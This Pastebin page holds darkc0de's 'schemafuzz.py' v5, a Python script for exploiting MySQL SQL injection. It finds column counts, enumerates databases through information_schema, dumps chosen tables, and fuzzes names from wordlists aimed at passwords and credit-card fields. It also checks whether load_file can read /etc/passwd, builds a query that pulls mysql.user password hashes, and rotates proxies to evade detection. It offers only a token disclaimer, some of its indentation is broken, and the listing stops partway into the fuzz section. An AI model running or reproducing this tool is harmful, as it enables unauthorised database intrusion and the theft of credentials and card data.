Advertisement
JuanDeLemos

MySQL Injection Schema, Dataext, and fuzzer (v5) python

Dec 14th, 2015
2,648
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. ################################################################
  3. #       .___             __          _______       .___        #
  4. #     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
  5. #    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
  6. #   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
  7. #   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
  8. #        \/                  \/             \/                 #
  9. #                   ___________   ______  _  __                #
  10. #                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
  11. #                 \  \___|  | \/\  ___/\     /                 #
  12. #                  \___  >__|    \___  >\/\_/                  #
  13. #      est.2007        \/            \/   forum.darkc0de.com   #
  14. ################################################################
  15. # MySQL Injection Schema, Dataext, and fuzzer
  16.  
  17. # Share the c0de!
  18.  
  19. # Darkc0de Team
  20. # www.darkc0de.com
  21. # rsauron[at]gmail[dot]com
  22.  
  23. # Greetz to
  24. # d3hydr8, Tarsian, c0mrade (r.i.p brotha), reverenddigitalx,
  25. # and the darkc0de crew
  26.  
  27. # NOTES:
  28. # Proxy function may be a little buggy if your using public proxies... Test your proxy prior to using it with this script..
  29. # The script does do a little proxy test.. it does a GET to google.com if data comes back its good... no data = failed and the proxy
  30. # will not be used. This is a effort to keep the script from getting stuck in a endless loop.
  31. # Any other questions Hit the forums and ask questions. google is your friend!
  32.  
  33. # This was written for educational purpose only. Use it at your own risk.
  34. # Author will be not responsible for any damage!
  35. # Intended for authorized Web Application Pen Testing!
  36.  
  37. # BE WARNED, THIS TOOL IS VERY LOUD..
  38.  
  39. #Set default evasion options here
  40. arg_end = "--"
  41. arg_eva = "+"
  42.  
  43. #colMax variable for column Finder
  44. colMax = 205
  45. #Fill in the tables you want tested here.
  46. fuzz_tables = ['tbladmins', 'sort', '_wfspro_admin', '4images_users', 'a_admin', 'account', 'accounts', 'adm', 'admin', 'admin_login', 'admin_user', 'admin_userinfo', 'administer', 'administrable', 'administrate', 'administration', 'administrator', 'administrators', 'adminrights', 'admins', 'adminuser', 'art', 'article_admin', 'articles', 'artikel', '\xc3\x83\xc3\x9c\xc3\x82\xc3\xab', 'aut', 'author', 'autore', 'backend', 'backend_users', 'backenduser', 'bbs', 'book', 'chat_config', 'chat_messages', 'chat_users', 'client', 'clients', 'clubconfig', 'company', 'config', 'contact', 'contacts', 'content', 'control', 'cpg_config', 'cpg132_users', 'customer', 'customers', 'customers_basket', 'dbadmins', 'dealer', 'dealers', 'diary', 'download', 'Dragon_users', 'e107.e107_user', 'e107_user', 'forum.ibf_members', 'fusion_user_groups', 'fusion_users', 'group', 'groups', 'ibf_admin_sessions', 'ibf_conf_settings', 'ibf_members', 'ibf_members_converge', 'ibf_sessions', 'icq', 'images', 'index', 'info', 'ipb.ibf_members', 'ipb_sessions', 'joomla_users', 'jos_blastchatc_users', 'jos_comprofiler_members', 'jos_contact_details', 'jos_joomblog_users', 'jos_messages_cfg', 'jos_moschat_users', 'jos_users', 'knews_lostpass', 'korisnici', 'kpro_adminlogs', 'kpro_user', 'links', 'login', 'login_admin', 'login_admins', 'login_user', 'login_users', 'logins', 'logon', 'logs', 'lost_pass', 'lost_passwords', 'lostpass', 'lostpasswords', 'm_admin', 'main', 'mambo_session', 'mambo_users', 'manage', 'manager', 'mb_users', 'member', 'memberlist', 'members', 'minibbtable_users', 'mitglieder', 'movie', 'movies', 'mybb_users', 'mysql', 'mysql.user', 'name', 'names', 'news', 'news_lostpass', 'newsletter', 'nuke_authors', 'nuke_bbconfig', 'nuke_config', 'nuke_popsettings', 'nuke_users', '\xc3\x93\xc3\x83\xc2\xbb\xc2\xa7', 'obb_profiles', 'order', 'orders', 'parol', 'partner', 'partners', 'passes', 'password', 'passwords', 'perdorues', 'perdoruesit', 'phorum_session', 'phorum_user', 'phorum_users', 'phpads_clients', 'phpads_config', 'phpbb_users', 'phpBB2.forum_users', 'phpBB2.phpbb_users', 'phpmyadmin.pma_table_info', 'pma_table_info', 'poll_user', 'punbb_users', 'pwd', 'pwds', 'reg_user', 'reg_users', 'registered', 'reguser', 'regusers', 'session', 'sessions', 'settings', 'shop.cards', 'shop.orders', 'site_login', 'site_logins', 'sitelogin', 'sitelogins', 'sites', 'smallnuke_members', 'smf_members', 'SS_orders', 'statistics', 'superuser', 'sysadmin', 'sysadmins', 'system', 'sysuser', 'sysusers', 'table', 'tables', 'tb_admin', 'tb_administrator', 'tb_login', 'tb_member', 'tb_members', 'tb_user', 'tb_username', 'tb_usernames', 'tb_users', 'tbl', 'tbl_user', 'tbl_users', 'tbluser', 'tbl_clients', 'tbl_client', 'tblclients', 'tblclient', 'test', 'usebb_members', 'user', 'user_admin', 'user_info', 'user_list', 'user_login', 'user_logins', 'user_names', 'usercontrol', 'userinfo', 'userlist', 'userlogins', 'username', 'usernames', 'userrights', 'users', 'vb_user', 'vbulletin_session', 'vbulletin_user', 'voodoo_members', 'webadmin', 'webadmins', 'webmaster', 'webmasters', 'webuser', 'webusers', 'x_admin', 'xar_roles', 'xoops_bannerclient', 'xoops_users', 'yabb_settings', 'yabbse_settings', 'ACT_INFO', 'ActiveDataFeed', 'Category', 'CategoryGroup', 'ChicksPass', 'ClickTrack', 'Country', 'CountryCodes1', 'CustomNav', 'DataFeedPerformance1', 'DataFeedPerformance2', 'DataFeedPerformance2_incoming', 'DataFeedShowtag1', 'DataFeedShowtag2', 'DataFeedShowtag2_incoming', 'dtproperties', 'Event', 'Event_backup', 'Event_Category', 'EventRedirect', 'Events_new', 'Genre', 'JamPass', 'MyTicketek', 'MyTicketekArchive', 'News', 'Passwords by usage count', 'PerfPassword', 'PerfPasswordAllSelected', 'Promotion', 'ProxyDataFeedPerformance', 'ProxyDataFeedShowtag', 'ProxyPriceInfo', 'Region', 'SearchOptions', 'Series', 'Sheldonshows', 'StateList', 'States', 'SubCategory', 'Subjects', 'Survey', 'SurveyAnswer', 'SurveyAnswerOpen', 'SurveyQuestion', 'SurveyRespondent', 'sysconstraints', 'syssegments', 'tblRestrictedPasswords', 'tblRestrictedShows', 'Ticket System Acc Numbers', 'TimeDiff', 'Titles', 'ToPacmail1', 'ToPacmail2', 'Total Members', 'UserPreferences', 'uvw_Category', 'uvw_Pref', 'uvw_Preferences', 'Venue', 'venues', 'VenuesNew', 'X_3945', 'stone list', 'tblArtistCategory', 'tblArtists', 'tblConfigs', 'tblLayouts', 'tblLogBookAuthor', 'tblLogBookEntry', 'tblLogBookImages', 'tblLogBookImport', 'tblLogBookUser', 'tblMails', 'tblNewCategory', 'tblNews', 'tblOrders', 'tblStoneCategory', 'tblStones', 'tblUser', 'tblWishList', 'VIEW1', 'viewLogBookEntry', 'viewStoneArtist', 'vwListAllAvailable', 'CC_info', 'CC_username', 'cms_user', 'cms_users', 'cms_admin', 'cms_admins', 'user_name', 'jos_user', 'table_user', 'email', 'mail', 'bulletin', 'cc_info', 'login_name', 'admuserinfo', 'userlistuser_list', 'SiteLogin', 'Site_Login', 'UserAdmin', 'Admins', 'Login', 'Logins']
  47. #Fill in the columns you want tested here.
  48. fuzz_columns = ['user', 'username', 'password', 'passwd', 'pass', 'cc_number', 'id', 'email', 'emri', 'fjalekalimi', 'pwd', 'user_name', 'customers_email_address', 'customers_password', 'user_password', 'name', 'user_pass', 'admin_user', 'admin_password', 'admin_pass', 'usern', 'user_n', 'users', 'login', 'logins', 'login_user', 'login_admin', 'login_username', 'user_username', 'user_login', 'auid', 'apwd', 'adminid', 'admin_id', 'adminuser', 'adminuserid', 'admin_userid', 'adminusername', 'admin_username', 'adminname', 'admin_name', 'usr', 'usr_n', 'usrname', 'usr_name', 'usrpass', 'usr_pass', 'usrnam', 'nc', 'uid', 'userid', 'user_id', 'myusername', 'mail', 'emni', 'logohu', 'punonjes', 'kpro_user', 'wp_users', 'emniplote', 'perdoruesi', 'perdorimi', 'punetoret', 'logini', 'llogaria', 'fjalekalimin', 'kodi', 'emer', 'ime', 'korisnik', 'korisnici', 'user1', 'administrator', 'administrator_name', 'mem_login', 'login_password', 'login_pass', 'login_passwd', 'login_pwd', 'sifra', 'lozinka', 'psw', 'pass1word', 'pass_word', 'passw', 'pass_w', 'user_passwd', 'userpass', 'userpassword', 'userpwd', 'user_pwd', 'useradmin', 'user_admin', 'mypassword', 'passwrd', 'admin_pwd', 'admin_passwd', 'mem_password', 'memlogin', 'e_mail', 'usrn', 'u_name', 'uname', 'mempassword', 'mem_pass', 'mem_passwd', 'mem_pwd', 'p_word', 'pword', 'p_assword', 'myname', 'my_username', 'my_name', 'my_password', 'my_email', 'cvvnumber ', 'about', 'access', 'accnt', 'accnts', 'account', 'accounts', 'admin', 'adminemail', 'adminlogin', 'adminmail', 'admins', 'aid', 'aim', 'auth', 'authenticate', 'authentication', 'blog', 'cc_expires', 'cc_owner', 'cc_type', 'cfg', 'cid', 'clientname', 'clientpassword', 'clientusername', 'conf', 'config', 'contact', 'converge_pass_hash', 'converge_pass_salt', 'crack', 'customer', 'customers', 'cvvnumber]', 'data', 'db_database_name', 'db_hostname', 'db_password', 'db_username', 'download', 'e-mail', 'emailaddress', 'full', 'gid', 'group', 'group_name', 'hash', 'hashsalt', 'homepage', 'icq', 'icq_number', 'id_group', 'id_member', 'images', 'index', 'ip_address', 'last_ip', 'last_login', 'lastname', 'log', 'login_name', 'login_pw', 'loginkey', 'loginout', 'logo', 'md5hash', 'member', 'member_id', 'member_login_key', 'member_name', 'memberid', 'membername', 'members', 'new', 'news', 'nick', 'number', 'nummer', 'pass_hash', 'passwordsalt', 'passwort', 'personal_key', 'phone', 'privacy', 'pw', 'pwrd', 'salt', 'search', 'secretanswer', 'secretquestion', 'serial', 'session_member_id', 'session_member_login_key', 'sesskey', 'setting', 'sid', 'spacer', 'status', 'store', 'store1', 'store2', 'store3', 'store4', 'table_prefix', 'temp_pass', 'temp_password', 'temppass', 'temppasword', 'text', 'un', 'user_email', 'user_icq', 'user_ip', 'user_level', 'user_passw', 'user_pw', 'user_pword', 'user_pwrd', 'user_un', 'user_uname', 'user_usernm', 'user_usernun', 'user_usrnm', 'userip', 'userlogin', 'usernm', 'userpw', 'usr2', 'usrnm', 'usrs', 'warez', 'xar_name', 'xar_pass']
  49.  
  50. import urllib, sys, re, os, socket, httplib, urllib2, time, random
  51.  
  52. #determine platform
  53. if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
  54.     SysCls = 'clear'
  55. elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
  56.     SysCls = 'cls'
  57. else:
  58.     SysCls = 'unknown'
  59.  
  60. #say hello
  61. os.system(SysCls)
  62. if len(sys.argv) <= 1:
  63.         print "\n|---------------------------------------------------------------|"
  64.         print "| rsauron[@]gmail[dot]com                                v5.0   |"
  65.         print "|   6/2008      schemafuzz.py                                   |"
  66.         print "|      -MySQL v5+ Information_schema Database Enumeration       |"
  67.         print "|      -MySQL v4+ Data Extractor                                |"
  68.         print "|      -MySQL v4+ Table & Column Fuzzer                         |"
  69.         print "| Usage: schemafuzz.py [options]                                |"
  70.         print "|                      -h help                    darkc0de.com  |"
  71.         print "|---------------------------------------------------------------|\n"
  72.         sys.exit(1)
  73.            
  74.  
  75. #help option
  76. for arg in sys.argv:
  77.         if arg == "-h":
  78.                 print "   Usage: ./schemafuzz.py [options]                          rsauron[@]gmail[dot]com darkc0de.com"
  79.                 print "\tModes:"
  80.                 print "\tDefine: --dbs     Shows all databases user has access too.               MySQL v5+"
  81.                 print "\tDefine: --schema  Enumerate Information_schema Database.                 MySQL v5+"
  82.                 print "\tDefine: --full    Enumerates all databases information_schema table      MySQL v5+"
  83.                 print "\tDefine: --dump    Extract information from a Database, Table and Column. MySQL v4+"
  84.                 print "\tDefine: --fuzz    Fuzz Tables and Columns.                               MySQL v4+"
  85.                 print "\tDefine: --findcol Finds Columns length of a SQLi                         MySQL v4+"
  86.                 print "\tDefine: --info    Gets MySQL server configuration only.                  MySQL v4+"
  87.                 print "\n\tRequired:"
  88.                 print "\tDefine: -u        URL \"www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4\""
  89.                 print "\n\tMode dump and schema options:"
  90.                 print "\tDefine: -D        \"database_name\""
  91.                 print "\tDefine: -T        \"table_name\""
  92.                 print "\tDefine: -C        \"column_name,column_name...\""
  93.                 print "\n\tOptional:"
  94.                 print "\tDefine: -p        \"127.0.0.1:80 or proxy.txt\""
  95.                 print "\tDefine: -o        \"ouput_file_name.txt\"        Default is schemafuzzlog.txt"
  96.                 print "\tDefine: -r        row number to start at"
  97.                 print "\tDefine: -v        Verbosity off option. Will not display row #'s in dump mode."  
  98.                 print "\n   Ex: ./schemafuzz.py --info -u \"www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4\""
  99.                 print "   Ex: ./schemafuzz.py --dbs -u \"www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4\""
  100.                 print "   Ex: ./schemafuzz.py --schema -u \"www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4\" -D catalog -T orders -r 200"
  101.                 print "   Ex: ./schemafuzz.py --dump -u \"www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4\" -D joomla -T jos_users -C username,password"
  102.                 print "   Ex: ./schemafuzz.py --fuzz -u \"www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4\" -end \"/*\" -o sitelog.txt"
  103.                 print "   Ex: ./schemafuzz.py --findcol -u \"www.site.com/news.php?id=22\""
  104.                 sys.exit(1)
  105.  
  106. #define varablies
  107. site = ""
  108. dbt = "schemafuzzlog.txt"
  109. proxy = "None"
  110. count = 0
  111. arg_table = "None"
  112. arg_database = "None"
  113. arg_columns = "None"
  114. arg_row = "Rows"
  115. arg_verbose = 1
  116. darkc0de = "concat(0x1e,0x1e,"
  117. mode = "None"
  118. line_URL = ""
  119. count_URL = ""
  120. gets = 0
  121. cur_db = ""
  122. cur_table = ""
  123. table_num = 0
  124. terminal = ""
  125. num = 0
  126.  
  127.  
  128. #Check args
  129. for arg in sys.argv:
  130.     if arg == "-u":
  131.         site = sys.argv[count+1]
  132.     elif arg == "-o":
  133.         dbt = sys.argv[count+1]
  134.     elif arg == "-p":
  135.         proxy = sys.argv[count+1]
  136.     elif arg == "--dump":
  137.                 mode = arg
  138.                 arg_dump = sys.argv[count]
  139.         elif arg == "--full":
  140.                 mode = arg
  141.         elif arg == "--schema":
  142.                 mode = arg
  143.                 arg_schema = sys.argv[count]
  144.         elif arg == "--dbs":
  145.                 mode = arg
  146.                 arg_dbs = sys.argv[count]
  147.         elif arg == "--fuzz":
  148.                 mode = arg
  149.                 arg_fuzz = sys.argv[count]
  150.         elif arg == "--info":
  151.                 mode = arg
  152.                 arg_info = sys.argv[count]
  153.         elif arg == "--findcol":
  154.                 mode = arg
  155.                 arg_findcol = sys.argv[count]
  156.     elif arg == "-D":
  157.         arg_database = sys.argv[count+1]
  158.     elif arg == "-T":
  159.         arg_table = sys.argv[count+1]
  160.     elif arg == "-C":
  161.         arg_columns = sys.argv[count+1]
  162.     elif arg == "-end":
  163.                 arg_end = sys.argv[count+1]
  164.                 if arg_end == "--":
  165.                         arg_eva = "+"
  166.                 else:
  167.                         arg_eva = "/**/"
  168.     elif arg == "-r":
  169.                 num = sys.argv[count+1]
  170.                 table_num = num
  171.         elif arg == "-v":
  172.                 arg_verbose = sys.argv[count]
  173.                 arg_verbose = 0
  174.     count+=1
  175.  
  176. #Title write
  177. file = open(dbt, "a")
  178. print "\n|---------------------------------------------------------------|"
  179. print "| rsauron[@]gmail[dot]com                                v5.0   |"
  180. print "|   6/2008      schemafuzz.py                                   |"
  181. print "|      -MySQL v5+ Information_schema Database Enumeration       |"
  182. print "|      -MySQL v4+ Data Extractor                                |"
  183. print "|      -MySQL v4+ Table & Column Fuzzer                         |"
  184. print "| Usage: schemafuzz.py [options]                                |"
  185. print "|                      -h help                    darkc0de.com  |"
  186. print "|---------------------------------------------------------------|"
  187. file.write("\n|---------------------------------------------------------------|")
  188. file.write("\n| rsauron[@]gmail[dot]com                                v5.0   |")
  189. file.write("\n|   6/2008      schemafuzz.py                                   |")
  190. file.write("\n|      -MySQL v5+ Information_schema Database Enumeration       |")
  191. file.write("\n|      -MySQL v4+ Data Extractor                                |")
  192. file.write("\n|      -MySQL v4+ Table & Column Fuzzer                         |")
  193. file.write("\n| Usage: schemafuzz.py [options]                                |")
  194. file.write("\n|                      -h help                    darkc0de.com  |")
  195. file.write("\n|---------------------------------------------------------------|")
  196.  
  197. #Arg Error Checking
  198. if site == "":
  199.         print "\n[-] Must include -u flag and specify a mode."
  200.         print "[-] For help -h\n"
  201.         sys.exit(1)
  202. if mode == "None":
  203.         print "\n[-] Mode must be specified --schema, --dbs, --dump, --fuzz, --info, --full, --findcol."
  204.         print "[-] For help -h\n"
  205.         sys.exit(1)
  206. if mode == "--schema" and arg_database == "None":
  207.         print "[-] Must include -D flag!"
  208.         print "[-] For Help -h\n"
  209.         sys.exit(1)
  210. if mode == "--dump":
  211.         if arg_table == "None" or arg_columns == "None":
  212.                 print "[-] If MySQL v5+ must include -D, -T and -C flag when --dump specified!"
  213.                 print "[-] If MySQL v4+ must include -T and -C flag when --dump specified!"
  214.                 print "[-] For help -h\n"
  215.                 sys.exit(1)
  216. if mode != "--findcol" and site.find("darkc0de") == -1:
  217.     print "\n[-] Site must contain \'darkc0de\'\n"
  218.     sys.exit(1)
  219. if proxy != "None":
  220.         if len(proxy.split(".")) == 2:
  221.                 proxy = open(proxy, "r").read()
  222.         if proxy.endswith("\n"):
  223.                 proxy = proxy.rstrip("\n")
  224.         proxy = proxy.split("\n")
  225. if arg_columns != "None":
  226.         arg_columns = arg_columns.split(",")
  227. if site[:7] != "http://":
  228.     site = "http://"+site
  229. if site.endswith("/*"):
  230.     site = site.rstrip('/*')
  231. if site.endswith("--"):
  232.     site = site.rstrip('--')
  233.    
  234. #Getting the URL ready with the evasion options we selected
  235. site = site.replace("+",arg_eva)
  236. site = site.replace("/**/",arg_eva)
  237. print "\n[+] URL:",site+arg_end
  238. file.write("\n\n[+] URL:"+site+arg_end+"\n")
  239. print "[+] Evasion Used:","\""+arg_eva+"\" \""+arg_end+"\""
  240. file.write("[+] Evasion Used: \""+str(arg_eva)+"\" \""+str(arg_end)+"\"")
  241. print "[+] %s" % time.strftime("%X")
  242. file.write("\n[+] %s" % time.strftime("%X"))
  243.  
  244. #Build proxy list
  245. socket.setdefaulttimeout(20)
  246. proxy_list = []
  247. if proxy != "None":
  248.     file.write("\n[+] Building Proxy List...")
  249.     print "[+] Building Proxy List..."
  250.     for p in proxy:
  251.         try:
  252.             proxy_handler = urllib2.ProxyHandler({'http': 'http://'+p+'/'})
  253.             opener = urllib2.build_opener(proxy_handler)
  254.             gets+=1
  255.             opener.open("http://www.google.com")
  256.             proxy_list.append(urllib2.build_opener(proxy_handler))
  257.             file.write("\n\tProxy:"+p+"- Success")
  258.             print "\tProxy:",p,"- Success"
  259.         except:
  260.             file.write("\n\tProxy:"+p+"- Failed")
  261.             print "\tProxy:",p,"- Failed"
  262.             pass
  263.     if len(proxy_list) == 0:
  264.         print "[-] All proxies have failed. App Exiting"
  265.         sys.exit(1)
  266.     print "[+] Proxy List Complete"
  267.     file.write("\n[+] Proxy List Complete")
  268. else:
  269.     print "[-] Proxy Not Given"
  270.     file.write("\n[+] Proxy Not Given")
  271.     proxy_list.append(urllib2.build_opener())
  272. proxy_num = 0
  273. proxy_len = len(proxy_list)
  274.  
  275. #colFinder
  276. if mode == "--findcol":
  277.         print "[+] Attempting To find the number of columns..."
  278.         file.write("\n[+] Attempting To find the number of columns...")
  279.         print "[+] Testing: ",
  280.         file.write("\n[+] Testing: ",)
  281.         checkfor=[]
  282.         sitenew = site+arg_eva+"AND"+arg_eva+"1=2"+arg_eva+"UNION"+arg_eva+"SELECT"+arg_eva
  283.         makepretty = ""
  284.         for x in xrange(0,colMax):
  285.                 try:
  286.                         sys.stdout.write("%s," % (x))
  287.                         file.write(str(x)+",")
  288.                         sys.stdout.flush()
  289.                         darkc0de = "dark"+str(x)+"c0de"
  290.                         checkfor.append(darkc0de)  
  291.                         if x > 0:
  292.                                 sitenew += ","
  293.                         sitenew += "0x"+darkc0de.encode("hex") 
  294.                         finalurl = sitenew+arg_end
  295.                         gets+=1
  296.                         proxy_num+=1
  297.                         source = proxy_list[proxy_num % proxy_len].open(finalurl).read()
  298.                         for y in checkfor:
  299.                                 colFound = re.findall(y,source)
  300.                                 if len(colFound) >= 1:
  301.                                         print "\n[+] Column Length is:",len(checkfor)
  302.                                         file.write("\n[+] Column Length is: "+str(len(checkfor)))
  303.                                         nullcol = re.findall(("\d+"),y)
  304.                                         print "[+] Found null column at column #:",nullcol[0]
  305.                                         file.write("\n[+] Found null column at column #: "+nullcol[0])
  306.                                         for z in xrange(0,len(checkfor)):
  307.                                                 if z > 0:
  308.                                                         makepretty += ","
  309.                                                 makepretty += str(z)
  310.                                         site = site+arg_eva+"AND"+arg_eva+"1=2"+arg_eva+"UNION"+arg_eva+"SELECT"+arg_eva+makepretty
  311.                                         print "[+] SQLi URL:",site+arg_end
  312.                                         file.write("\n[+] SQLi URL: "+site+arg_end)
  313.                                         site = site.replace(","+nullcol[0]+",",",darkc0de,")
  314.                                         site = site.replace(arg_eva+nullcol[0]+",",arg_eva+"darkc0de,")
  315.                                         site = site.replace(","+nullcol[0],",darkc0de")
  316.                                         print "[+] darkc0de URL:",site
  317.                                         file.write("\n[+] darkc0de URL: "+site)
  318.                                         print "[-] Done!\n"
  319.                                         file.write("\n[-] Done!\n")
  320.                                         sys.exit(1)
  321.                 except (KeyboardInterrupt, SystemExit):
  322.                         raise
  323.                 except:
  324.                         pass
  325.                        
  326.         print "\n[!] Sorry Column Length could not be found."
  327.         file.write("\n[!] Sorry Column Length could not be found.")
  328.         print "[-] You might try to change colMax variable or change evasion option.. last but not least do it manually!"
  329.         print "[-] Done\n"
  330.         sys.exit(1)
  331.  
  332. #Retireve version:user:database
  333. head_URL = site.replace("darkc0de","concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end
  334. print "[+] Gathering MySQL Server Configuration..."
  335. file.write("\n[+] Gathering MySQL Server Configuration...\n")
  336.  
  337. while 1:
  338.     try:
  339.                 gets+=1
  340.         source = proxy_list[proxy_num % proxy_len].open(head_URL).read()
  341. # Uncomment the following lines to debug issues with gathering server information
  342. #       print head_URL
  343. #       print source
  344.         match = re.findall("\x1e\x1e\S+",source)
  345.         if len(match) >= 1:
  346.             match = match[0][2:].split("\x1e")
  347.             version = match[0]
  348.             user = match[1]
  349.             database = match[2]
  350.             print "\tDatabase:", database
  351.             print "\tUser:", user
  352.             print "\tVersion:", version
  353.             file.write("\tDatabase: "+database+"\n")   
  354.             file.write("\tUser: "+user+"\n")
  355.             file.write("\tVersion: "+version)
  356.                         version = version[0]
  357.                         break
  358.         else:
  359.             print "[-] No Data Found"
  360.             sys.exit(1)
  361.     except (KeyboardInterrupt, SystemExit):
  362.             raise
  363.     except:
  364.         proxy_num+=1
  365.  
  366. # Do we have Access to MySQL database and Load_File
  367. if mode == "--info":
  368.         head_URL = site.replace("darkc0de","0x"+"darkc0de".encode("hex"))+arg_eva+"FROM"+arg_eva+"mysql.user"+arg_end
  369.         gets+=1
  370.         proxy_num+=1
  371.         #print "Debug:",head_URL
  372.         source = proxy_list[proxy_num % proxy_len].open(head_URL).read()
  373.         match = re.findall("darkc0de",source)
  374.         if len(match) >= 1:
  375.                 yesno = "Yes <-- w00t w00t"
  376.         else:
  377.                 yesno = "No"
  378.         print "\n[+] Do we have Access to MySQL Database:",yesno
  379.         file.write("\n\n[+] Do we have Access to MySQL Database: "+str(yesno))
  380.         if yesno == "Yes <-- w00t w00t":
  381.                 print "[!]",site.replace("darkc0de","concat(user,0x3a,password)")+arg_eva+"FROM"+arg_eva+"mysql.user"+arg_end
  382.                 file.write("\n[!] "+site.replace("darkc0de","concat(user,0x3a,password)")+arg_eva+"FROM"+arg_eva+"mysql.user"+arg_end)
  383.         gets+=1
  384.         proxy_num+=1
  385.         head_URL = site.replace("darkc0de","load_file(0x2f6574632f706173737764)")+arg_end
  386.         #print "Debug:",head_URL
  387.         source = proxy_list[proxy_num % proxy_len].open(head_URL).read()
  388.         match = re.findall("root:x:",source)
  389.         match = re.findall("root:*:",source)
  390.         if len(match) >= 1:
  391.                 yesno = "Yes <-- w00t w00t"
  392.         else:
  393.                 yesno = "No"
  394.         print "\n[+] Do we have Access to Load_File:",yesno
  395.         file.write("\n\n[+] Do we have Access to Load_File: "+str(yesno))
  396.         if yesno == "Yes <-- w00t w00t":
  397.                 print "[!]",site.replace("darkc0de","load_file(0x2f6574632f706173737764)")+arg_end
  398.                 file.write("\n[!] "+site.replace("darkc0de","load_file(0x2f6574632f706173737764)")+arg_end)
  399.  
  400. #lets check what we can do based on version
  401. if mode == "--schema" or mode == "--dbs" or mode == "--full":
  402.         if int(version) == 4:
  403.                 print "\n[-] --schema, --dbs and --full can only be used on MySQL v5+ servers!"
  404.                 print "[-] -h for help"
  405.                 sys.exit(1)
  406. #Build URLS
  407. if mode == "--schema":
  408.     if arg_database != "None" and arg_table == "None":
  409.                 print "[+] Showing Tables & Columns from database \""+arg_database+"\""
  410.                 file.write("\n[+] Showing Tables & Columns from database \""+arg_database+"\"")
  411.             line_URL = site.replace("darkc0de","concat(0x1e,0x1e,table_schema,0x1e,table_name,0x1e,column_name,0x1e,0x20)")
  412.                 line_URL += arg_eva+"FROM"+arg_eva+"information_schema.columns"+arg_eva+"WHERE"+arg_eva+"table_schema=0x"+arg_database.encode("hex")
  413.                 count_URL = site.replace("darkc0de","concat(0x1e,0x1e,COUNT(table_schema),0x1e,0x20)")
  414.                 count_URL += arg_eva+"FROM"+arg_eva+"information_schema.tables"+arg_eva+"WHERE"+arg_eva+"table_schema=0x"+arg_database.encode("hex")+arg_end
  415.                 arg_row = "Tables"
  416.         if arg_database != "None" and arg_table != "None":
  417.                 print "[+] Showing Columns from Database \""+arg_database+"\" and Table \""+arg_table+"\""
  418.                 file.write("\n[+] Showing Columns from database \""+arg_database+"\" and Table \""+arg_table+"\"")
  419.             line_URL = site.replace("darkc0de","concat(0x1e,0x1e,table_schema,0x1e,table_name,0x1e,column_name,0x1e,0x20)")
  420.                 line_URL += arg_eva+"FROM"+arg_eva+"information_schema.COLUMNS"+arg_eva+"WHERE"+arg_eva+"table_schema=0x"+arg_database.encode("hex")
  421.         line_URL += arg_eva+"AND"+arg_eva+"table_name+=+0x"+arg_table.encode("hex")
  422.                 count_URL = site.replace("darkc0de","concat(0x1e,0x1e,COUNT(*),0x1e,0x20)")
  423.                 count_URL += arg_eva+"FROM"+arg_eva+"information_schema.COLUMNS"+arg_eva+"WHERE"+arg_eva+"table_schema=0x"+arg_database.encode("hex")
  424.         count_URL += arg_eva+"AND"+arg_eva+"table_name+=+0x"+arg_table.encode("hex")+arg_end
  425.         arg_row = "Columns"
  426. elif mode == "--dump":                
  427.     print "[+] Dumping data from database \""+str(arg_database)+"\" Table \""+str(arg_table)+"\""
  428.     print "[+] and Column(s) "+str(arg_columns)
  429.     file.write("\n[+] Dumping data from database \""+str(arg_database)+"\" Table \""+str(arg_table)+"\"")
  430.         file.write("\n[+] Column(s) "+str(arg_columns))
  431.         for column in arg_columns:
  432.                 darkc0de += column+",0x1e,"
  433.     count_URL = site.replace("darkc0de","concat(0x1e,0x1e,COUNT(*),0x1e,0x20)")
  434.     count_URL += arg_eva+"FROM"+arg_eva+arg_database+"."+arg_table+arg_end
  435.     line_URL = site.replace("darkc0de",darkc0de+"0x1e,0x20)")
  436.     line_URL += arg_eva+"FROM"+arg_eva+arg_database+"."+arg_table
  437.         if int(version) == 4:
  438.                 count_URL = site.replace("darkc0de","concat(0x1e,0x1e,COUNT(*),0x1e,0x20)")
  439.                 count_URL += arg_eva+"FROM"+arg_eva+arg_table+arg_end
  440.             line_URL = site.replace("darkc0de",darkc0de+"0x1e,0x20)")
  441.                 line_URL += arg_eva+"FROM"+arg_eva+arg_table
  442. elif mode == "--full":
  443.     print "[+] Starting full SQLi information_schema enumeration..."
  444.     line_URL = site.replace("darkc0de","concat(0x1e,0x1e,table_schema,0x1e,table_name,0x1e,column_name,0x1e,0x20)")
  445.     line_URL += arg_eva+"FROM"+arg_eva+"information_schema.columns+"+arg_eva+"WHERE"+arg_eva+"table_schema!=0x"+"information_schema".encode("hex")
  446.        
  447. elif mode == "--dbs":
  448.     print "[+] Showing all databases current user has access too!"
  449.     file.write("\n[+] Showing all databases current user has access too!")
  450.         count_URL = site.replace("darkc0de","concat(0x1e,0x1e,COUNT(*),0x1e,0x20)")
  451.         count_URL += arg_eva+"FROM"+arg_eva+"information_schema.schemata"+arg_eva+"WHERE"+arg_eva+"schema_name!=0x"+"information_schema".encode("hex")+arg_end
  452.     line_URL = site.replace("darkc0de","concat(0x1e,0x1e,schema_name,0x1e,0x20)")
  453.     line_URL += arg_eva+"FROM"+arg_eva+"information_schema.schemata"+arg_eva+"WHERE"+arg_eva+"schema_name!=0x"+"information_schema".encode("hex")
  454.     arg_row = "Databases"
  455. line_URL += arg_eva+"LIMIT"+arg_eva+"NUM,1"+arg_end
  456.  
  457. #Uncomment the lines below to debug issues with the line_URL or count_URL
  458. #print "URL for Counting rows in column:",count_URL
  459. #print "URL for exploit:",line_URL
  460.  
  461. #Fuzz table/columns
  462. if mode == "--fuzz":
  463.         print "[+] Number of tables names to be fuzzed:",len(fuzz_tables)
